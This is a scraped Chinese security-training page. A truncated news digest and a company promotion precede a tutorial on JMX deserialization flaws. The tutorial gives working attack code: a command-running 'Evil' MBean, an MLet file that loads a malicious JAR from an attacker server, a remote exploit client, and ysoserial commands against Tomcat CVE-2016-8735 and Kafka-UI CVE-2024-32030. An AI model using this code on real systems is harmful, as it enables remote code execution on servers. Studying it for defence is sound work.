https://cyble.com/blog/investigating-the-new-jellyfish-loader/ 研究人员最近识别并分析了一种名为JellyfishLoader的新型Shellcode加载器。该加载器通过异步任务方法构建器执行代码,并利用Fody和Costura将依赖项嵌入可执行文件中。JellyfishLoader在首次感染时会发送系统信息,并在与命令和控制(C&C)服务器通信前进行SSL证书验证。该加载器还包含一个专门用于执行shellcode的函数,表明其具备处理和执行从远程C&C服务器接收的shellcode的能力。尽管目前尚无法明确确认该恶意软件与特定威
5、ChatGPT Enterprise 推出合规性 API 和集成
https://www.securityweek.com/openai-rolls-out-compliance-api-and-integrations-for-chatgpt-enterprise/ 这些工具对于帮助商业客户满足 FINRA、HIPAA 和 GDPR 等法规要求至关重要。
6、端口影子攻击允许 VPN 流量拦截和重定向
https://www.securityweek.com/port-shadow-attack-allows-vpn-traffic-interception-redirection/ 一组研究人员警告称,VPN 受到一个漏洞的影响,该漏洞可被利用来发动中间人 (MitM) 攻击,从而使威胁行为者能够拦截和重定向流量。这项研究由亚利桑那州立大学、新墨西哥大学、密歇根大学和多伦多大学公民实验室的代表进行。 该攻击技术名为Port Shadow,追踪编号为 CVE-2021-3773,基于 Benjamin Mixon-Baca 和 Jedidiah R. Crandall 于 2021 年首次
7、FIN7 黑客组织在暗网上大肆推广反EDR系统工具
https://securityaffairs.com/165863/cyber-crime/fin7-advertising-security-evasion.html 网络安全公司 SentinelOne 警告称,网络犯罪集团 FIN7 正在多个地下论坛上宣传一种安全规避工具。
8、SAP AI Core中的 SAPwned 漏洞可能会暴露客户数据
https://securityaffairs.com/165888/hacking/sap-ai-core-sapwned.html Wiz 的网络安全研究人员在SAP AI Core云平台中发现了五个安全漏洞,统称为 SAPwned 。攻击者可以利用这些漏洞获取访问令牌和客户数据。
9、Cisco SSM On-Prem曝严重漏洞,黑客可修改管理员密码
https://thehackernews.com/2024/07/alert-hotpage-adware-disguised-as-ad.html 近日,思科公司披露了其智能软件管理器本地版(SSM On-Prem)中的一个关键漏洞,该漏洞允许未经身份验证的远程攻击者更改任何用户的密码,包括管理员用户的密码。这个漏洞被追踪为 CVE-2024-20419,其严重程度评分为 10 分。
10、CDK Global向勒索软件团伙支付超1.8亿元赎金
https://www.secrss.com/articles/68159 因CDK公司遭遇勒索软件攻击,导致全美上万家汽车经销商业务系统瘫痪十余天;据知情人士透露,CDK通过专业勒索响应公司支付赎金后,约一周时间恢复系统上线;多位知情人士透露,CDK似乎向黑客支付了2500万美元(约合人民币1.81亿元)赎金。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
行业认可 | 蚁景科技入选《嘶吼2024网络安全产业图谱》
7月16日,嘶吼安全产业研究院正式发布《嘶吼2024网络安全产业图谱》。该图谱全面反映了网络安全行业的市场规模,揭示了产业化重点发展的方向,并展示了各细分领域在整个网络安全行业中的市场占比情况,深入分析了行业热门细分赛道的市场潜力和发展趋势。
蚁景科技作为可靠的网络安全人才培养服务提供商,入选了《嘶吼2024网络安全产业图谱》“安全培训”分类下的【安全意识培训】、【技术人才培训】等细分板块。
本次入选《嘶吼2024网络安全产业图谱》是网安行业权威研究机构对蚁景科技企业实力和品牌影响力的高度认可。
未来,蚁景科技将继续坚持优化人才培养、技术创新和产业发展的良性生态,致力于培养更多的网络安全专业优秀人才,推动网安技术教学的创新和应用,为网安人才实战能力的全面提升贡献力量。
关于蚁景科技:
湖南蚁景科技有限公司,作为专业的“网络安全人才培养服务提供商”,致力于配合国家网络安全人才培养战略,精准对接行业人才市场的需求。公司秉承提升网络安全实战能力为核心的培养目标,紧密结合用人单位在网络安全岗位上的技能要求,提供前沿、系统且专业的网络安全实战技能培训。同时,也针对政企单位、科研院所等行业客户,量身定制网络安全培训方案,以满足其特定的培训需求。
此外,蚁景科技紧密结合高校网络安全人才培养体系,基于对“互联网+教育”的精准把握,依托自主研发的网络安全人才实训平台——蚁景网安实验室,高效构建多样化的网络安全实验场景,全面满足高校教师的在线实验教学需求,同时也为网络安全爱好者提供了优质的在线实操学习环境。
JMX 反序列化漏洞
前言
前段时间看到普元 EOS Platform 爆了这个洞,Apache James,Kafka-UI 都爆了这几个洞,所以决定系统来学习一下这个漏洞点。
JMX 基础
JMX 前置知识
JMX(Java Management Extensions,即 Java 管理扩展)是一个为应用程序、设备、系统等植入管理功能的框架。JMX 可以跨越一系列异构操作系统平台、系统体系结构和网络传输协议,灵活的开发无缝集成的系统、网络和服务管理应用。
可以简单理解 JMX 是 java 的一套管理框架,coders 都遵循这个框架,实现对代码应用的监控与管理。
JMX 的结构一共分为三层:
1、基础层:主要是 MBean,被管理的资源。分为四种,常用需要关注的是两种。
standard MBean 这种类型的 MBean 最简单,它能管理的资源(包括属性、方法、时间)必须定义在接口中,然后 MBean 必须实现这个接口。它的命令也必须遵循一定的规范,例如我们的 MBean 为 Hello,则接口必须为 HelloMBean。
dynamic MBean 必须实现 javax.management.DynamicMBean 接口,所有的属性,方法都在运行时定义。2、适配层:MBeanServer,主要是提供对资源的注册和管理。3、接入层:Connector,提供远程访问的入口。
JMX 基础代码实践
以下代码实现简单的 JMX demo,文件结构
├── HelloWorld.java
├── HelloWorldMBean.java
└── jmxDemo.java
HelloWorldMBean.java
package org.example;
public interface HelloWorldMBean {
public void sayhello();
public int add(int x, int y);
public String getName();
}
HelloWorld.java
package org.example;
public class HelloWorld implements HelloWorldMBean{
private String name = "Drunkbaby";
@Override
public void sayhello() {
System.out.println("hello world" + this.name);
}
@Override
public int add(int x, int y) {
return x + y;
}
@Override
public String getName() {
return this.name;
}
}
jmxDemo.java
package org.example;
import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class jmxDemo {
public static void main(String[] args) throws Exception{
MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
ObjectName mbsName = new ObjectName("test:type=HelloWorld");
HelloWorld mbean = new HelloWorld();
mBeanServer.registerMBean(mbean, mbsName);
// 创建一个 RMI Registry
Registry registry = LocateRegistry.createRegistry(1099);
// 构造 JMXServiceURL,绑定创建的 RMI
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");
// 构造JMXConnectorServer,关联 mbserver
JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);
jmxConnectorServer.start();
System.out.println("JMXConnectorServer is ready");
System.out.println("press any key to exit.");
System.in.read();
}
}
其中
Probe Level:创建了 HelloWorldMBean 实例 mbean
Agent Level:创建了 MBeanServer 实例 mbs
Remote Management Level: 创建了JMXServiceURL,绑定到本地 1099 rmi,关联到MBeanServer mbs
JMX 安全问题
JMX 的安全问题主要发生在以下三处
1、jmx2、mbean3、rmi
其中通过利用 MLet 是最常用的攻击手法,算是 jmx 特性 + mbean 利用,接下来我们详细来看看 Mlet 的漏洞利用及原理。
Mlet
Mlet 指的是 javax.management.loading.MLet,该 mbean 有个 getMBeansFromURL 的方法,可以从远程 mlet server 加载 mbean。
攻击过程:
启动托管 MLet 和含有恶意 MBean 的 JAR 文件的 Web 服务器
使用JMX在目标服务器上创建 MBeanjavax.management.loading.MLet 的实例
调用 MBean 实例的 getMBeansFromURL 方法,将 Web 服务器 URL 作为参数进行传递。JMX 服务将连接到http服务器并解析MLet文件
JMX 服务下载并归档 MLet 文件中引用的 JAR 文件,使恶意 MBean 可通过 JMX 获取
攻击者最终调用来自恶意 MBean 的方法
下面我们来编写一个漏洞实例。
Evil MBean
文件结构
├── Evil.java
└── EvilMBean.java
EvilMBean.java
package com.drunkbaby.mlet;
public interface EvilMBean {
public String runCommand(String cmd);
}
Evil.java
package com.drunkbaby.mlet;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Evil implements EvilMBean
{
public String runCommand(String cmd)
{
try {
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(cmd);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
String stdout_err_data = "";
String s;
while ((s = stdInput.readLine()) != null)
{
stdout_err_data += s+"\n";
}
while ((s = stdError.readLine()) != null)
{
stdout_err_data += s+"\n";
}
proc.waitFor();
return stdout_err_data;
}
catch (Exception e)
{
return e.toString();
}
}
}
Mlet Server
将原本的文件打包为 jar 包。步骤省略了,就是 build Artifacts。随后编写 evil.html
<html><mlet code="com.drunkbaby.mlet.Evil" archive="JMX.jar" name="MLetCompromise:name=evil,id=1" codebase="http://127.0.0.1:4141"></mlet></html>
整体结构如图
Attack Code
ExploitJMXByRemoteMBean.java
package com.drunkbaby.mlet;
import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.net.MalformedURLException;
import java.util.HashSet;
import java.util.Iterator;
public class ExploitJMXByRemoteMBean {
public static void main(String[] args) {
try {
// connectAndOwn(args[0], args[1], args[2]);
connectAndOwn("localhost","1099","open -a Calculator");
} catch (Exception e) {
e.printStackTrace();
}
}
static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException {
try {
// step1. 通过rmi创建 jmx连接
JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
System.out.println("URL: " + u + ", connecting");
JMXConnector c = JMXConnectorFactory.connect(u);
System.out.println("Connected: " + c.getConnectionId());
MBeanServerConnection m = c.getMBeanServerConnection();
// step2. 加载特殊MBean:javax.management.loading.MLet
ObjectInstance evil_bean = null;
ObjectInstance evil = null;
try {
evil = m.createMBean("javax.management.loading.MLet", null);
} catch (javax.management.InstanceAlreadyExistsException e) {
evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
}
// step3:通过MLet加载远程恶意MBean
System.out.println("Loaded "+evil.getClassName());
Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[]
{ "http://localhost:4141/evil.html"},
new String[] { String.class.getName() } );
HashSet res_set = ((HashSet)res);
Iterator itr = res_set.iterator();
Object nextObject = itr.next();
if (nextObject instanceof Exception)
{
throw ((Exception)nextObject);
}
evil_bean = ((ObjectInstance)nextObject);
// step4: 执行恶意MBean
System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName());
System.out.println("Calling runCommand with: "+command);
Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() });
System.out.println("Result: "+result);
} catch (Exception e)
{
e.printStackTrace();
}
}
}
很明显这里是和远程的 jar 包进行了连接,而远程的 jar 包上面放置了恶意的 MBean,关于 Mlet 的攻击流程和漏洞分析会在文章后半部分展开来讲。
JMX 反序列化漏洞
在实际场景中 JMX 一般出现的漏洞点都是在某某反序列化当中。下面内容总结一下可能存在的三个问题
JMX 自身反序列化漏洞 —— CVE-2016-3427/CVE-2016-8735
漏洞描述
这其实是 JDK 的洞 —— JMX 导致的,但是由于 Tomcat 没有及时打补丁,所以这个漏洞被披露在 Tomcat 中。该漏洞的底层原因是由于 Tomcat 在配置 JMX 做监控时使用了 JmxRemoteLifecycleListener() 方法。
漏洞利用前置条件为 JmxRemoteLifecycleListener 监听的 10001 和 10002 端口被开放。
影响版本
Apache Tomcat 9.0.0.M1 - 9.0.0.M11 Apache Tomcat 8.5.0 - 8.5.6 Apache Tomcat 8.0.0.RC1 - 8.0.38 Apache Tomcat 7.0.0 - 7.0.72 Apache Tomcat 6.0.0 - 6.0.47
环境搭建
https://github.com/Drun1baby/CVE-Reproduction-And-Analysis/tree/main/Apache/Tomcat/CVE-2016-8735需要添加一个 listener 和 catalina.sh,网上教程都有,包括两个 jar 包,我这里不再赘述了。
漏洞复现
漏洞复现的 EXP 已经有了
java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit localhost 10001 Groovy1 "touch /tmp/success"
漏洞触发点 org.apache.catalina.mbeans.JmxRemoteLifecycleListener#createServer
try {
RMIJRMPServerImpl server = new RMIJRMPServerImpl(this.rmiServerPortPlatform, serverCsf, serverSsf, theEnv);
cs = new RMIConnectorServer(serviceUrl, theEnv, server, ManagementFactory.getPlatformMBeanServer());
cs.start();
registry.bind("jmxrmi", server);
log.info(sm.getString("jmxRemoteLifecycleListener.start", new Object[]{Integer.toString(theRmiRegistryPort), Integer.toString(theRmiServerPort), serverName}));
} catch (AlreadyBoundException | IOException var15) {
log.error(sm.getString("jmxRemoteLifecycleListener.createServerFailed", new Object[]{serverName}), var15);
}
很经典的手法,registry.bind() 调用反序列化,接着通过 Grovvy1 链触发
同样这里其实也是用 RMI 协议来打的。
利用 Mlet 的方式动态加载 MBean
这个有点意思,上面在讲 Mlet 攻击的时候其实我们有提到,Mlet 是通过加载远程的 jar 包,调用里面的 codebase 来 rce 的。
而 JMX 调用远程 MBean 方法有以下流程:
1、MBean name、MBean Function Name、params,发送给远程的 rmi server,其中 params 需要先统一转换为 MarshalledObject,通过 readObject 转换为字符串。2、RMI Server监听到网络请求,包含MBean name、MBean Function Name、 params,其中params经过MarshalledObject.readObject() 反序列化,再通过invoke调用原函数。
所以这里只需要我们恶意构造 String 进行反序列化,就可以进行攻击。在 ysoserial 当中,这一个类为 JMXInvokeMBean
package ysoserial.exploit;
import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import ysoserial.payloads.ObjectPayload.Utils;
/*
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
*
*/
public class JMXInvokeMBean {
public static void main(String[] args) throws Exception {
if ( args.length < 4 ) {
System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");
System.exit(-1);
}
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
// create the payload
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
//close the connection
jmxConnector.close();
}
}
我看下来两种漏洞利用的最终思路是很类似的,都是 RMi 去打反序列化,不一样的点在于一个是利用 RMIxxx.bind() 另外一种是在用 jmx:rmi// 协议去打。
当漏洞照进现实 —— CVE-2024-32030 Kafka-UI 反序列化漏洞
https://securitylab.github.com/advisories/GHSL-2023-229_GHSL-2023-230_kafka-ui/#/漏洞描述
Kafka UI 是 Apache Kafka 管理的开源 Web UI。Kafka UI API 允许用户通过指定网络地址和端口连接到不同的 Kafka brokers。作为一个独立的功能,它还提供了通过连接到其 JMX 端口监视 Kafka brokers 性能的能力。CVE-2024-32030 中,由于默认情况下 Kafka UI 未开启认证授权,攻击者可构造恶意请求利用后台功能执行任意代码,控制服务器。官方已发布安全更新,修复该漏洞。
影响版本
Kafka-UI <= 0.7.1
环境搭建
Kafka-UI 的 docker
version: '3.8'
services:
kafka-ui:
image: provectuslabs/kafka-ui:v0.7.1
container_name: kafka-ui
environment:
- DYNAMIC_CONFIG_ENABLED=true
- JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
ports:
- "8080:8080"
- "5005:5005"
Kafka 的 UI,之前分析 Kafka 漏洞的时候就写过了
version: '2'
services:
zookeeper:
image: zookeeper
restart: always
ports:
- "2181:2181"
container_name: zookeeper
kafka:
image: wurstmeister/kafka
restart: always
ports:
- "9092:9092"
- "9094:9094"
depends_on:
- zookeeper
environment:
KAFKA_ADVERTISED_HOST_NAME: 127.0.0.1
KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181
KAFKA_LISTENERS: PLAINTEXT://0.0.0.0:9092,SSL://0.0.0.0:9094
KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://127.0.0.1:9092,SSL://127.0.0.1:9094
KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,SSL:SSL
KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
container_name: kafka
漏洞复现
使用 ysoserial 直接打,起一个恶意的 JMX 服务。
git clone https://github.com/artsploit/ysoserial/
cd ysoserial && git checkout scala1
mvn package -D skipTests=true #make sure you use Java 8 for compilation, it might not compile with recent versions
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"
开启了之后,使用 Kafka-UI 去连接该 JMX
第一步先开启 org.apache.commons.collections.enableUnsafeSerialization:true,再进行 CC 的反序列化。
服务器接收到恶意的请求
随后第二步直接使用 CC 链打。
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 CommonsCollections7 "touch /tmp/pwnd2.txt"
攻击成功
漏洞分析
通过简单的搜索就可以确定漏洞入口在 com.provectus.kafka.ui.controller.ClustersController#updateClusterInfo
最终的触发点是在com.provectus.kafka.ui.service.metrics.JmxMetricsRetriever#retrieveSync 方法
后面其实就是 RMI 的部分了,当然这里还涉及到了 Scala1 链暂时不展开。
这一个漏洞其实也是 jmx://rmi// 可控造成的一个问题。但是这里的修复只是更新了一部分依赖,把 CC3 更新成了 CC4。所以其实还是存在一定的绕过的。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

